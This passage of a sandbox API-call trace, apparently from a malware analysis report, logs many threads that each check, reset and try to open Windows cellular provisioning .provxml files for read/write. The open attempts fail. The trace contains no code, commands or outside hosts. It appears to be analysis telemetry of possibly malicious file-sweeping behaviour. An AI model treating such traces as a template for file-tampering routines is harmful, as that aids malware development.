dwFileAttributes=0x20) returned 0 [0182.676] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\618__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.676] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.676] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f910d0) returned 1 [0182.676] RtlExitUserThread (Status=0x0) Thread: id = 3226 os_tid = 0xce8 [0182.243] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\619__connections_cellular_truphone (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.677] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.677] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\619__connections_cellular_truphone (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.677] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.677] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1510) returned 1 [0182.678] RtlExitUserThread (Status=0x0) Thread: id = 3227 os_tid = 0xd28 [0182.243] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\61__connections_cellular_vivatel (bulgaria)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.678] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.678] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\61__connections_cellular_vivatel (bulgaria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.679] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.679] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91380) returned 1 [0182.679] RtlExitUserThread (Status=0x0) Thread: id = 3228 os_tid = 0xcd4 [0182.244] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\620__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0182.679] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.680] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\620__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.680] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.680] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91228) returned 1 [0182.680] RtlExitUserThread (Status=0x0) Thread: id = 3229 os_tid = 0xcd8 [0182.244] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\621__connections_cellular_truphone (germany)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.681] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.681] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\621__connections_cellular_truphone (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.681] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.681] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f914d8) returned 1 [0182.681] RtlExitUserThread (Status=0x0) Thread: id = 3230 os_tid = 0xd2c [0182.244] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\622__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0182.682] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.682] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\622__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.682] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.682] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91630) returned 1 [0182.682] RtlExitUserThread (Status=0x0) Thread: id = 3231 os_tid = 0xd38 [0182.245] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\623__connections_cellular_truphone (spain)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.698] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.698] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\623__connections_cellular_truphone (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.698] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.698] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91788) returned 1 [0182.698] RtlExitUserThread (Status=0x0) Thread: id = 3232 os_tid = 0xd3c [0182.245] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\624__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0182.699] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.699] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\624__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.699] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.699] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f918e0) returned 1 [0182.699] RtlExitUserThread (Status=0x0) Thread: id = 3233 os_tid = 0xd34 [0182.246] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\625__connections_cellular_truphone (poland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.340] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.340] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\625__connections_cellular_truphone (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.343] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.343] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8fb50) returned 1 [0182.343] RtlExitUserThread (Status=0x0) Thread: id = 3234 os_tid = 0xd1c [0182.246] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\626__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0182.341] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.341] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\626__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.344] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.344] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8fca8) returned 1 [0182.344] RtlExitUserThread (Status=0x0) Thread: id = 3235 os_tid = 0xb9c [0182.247] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\627__connections_cellular_telenet (belgium)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.683] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.683] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\627__connections_cellular_telenet (belgium)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.683] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\627__Connections_Cellular_Telenet (Belgium)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.683] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ff58) returned 1 [0182.683] RtlExitUserThread (Status=0x0) Thread: id = 3236 os_tid = 0x96c [0182.247] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\628__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0182.684] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.684] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\628__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.684] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\628__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0182.685] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8fe00) returned 1 [0182.685] RtlExitUserThread (Status=0x0) Thread: id = 3237 os_tid = 0xad0 [0182.248] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\629__connections_cellular_bell (canada)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.685] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.686] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\629__connections_cellular_bell (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.686] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.686] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03278) returned 1 [0182.686] RtlExitUserThread (Status=0x0) Thread: id = 3238 os_tid = 0x6b0 [0182.248] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\62__connections_cellular_mtn (cameroon)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.687] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.687] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\62__connections_cellular_mtn (cameroon)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.687] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.687] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02d58) returned 1 [0182.687] RtlExitUserThread (Status=0x0) Thread: id = 3239 os_tid = 0x874 [0182.249] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\630__connections_cellular_bell (canada)_i1$(__mvid)@wap.provxml")) returned 0x20 [0182.341] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.341] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\630__connections_cellular_bell (canada)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.345] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\630__Connections_Cellular_Bell (Canada)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.345] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02460) returned 1 [0182.345] RtlExitUserThread (Status=0x0) Thread: id = 3240 os_tid = 0x9c0 [0182.249] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\631__connections_cellular_virgin (canada)_i0$(__mvid)@wap.provxml")) returned 0x20 [0182.341] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.341] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\631__connections_cellular_virgin (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.345] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\631__Connections_Cellular_Virgin (Canada)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0182.346] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01b68) returned 1 [0182.346] RtlExitUserThread (Status=0x0) Thread: id = 3241 os_tid = 0x9d0 [0182.250] GetFileAttributesW (lpFileName="C:\\Users\\All 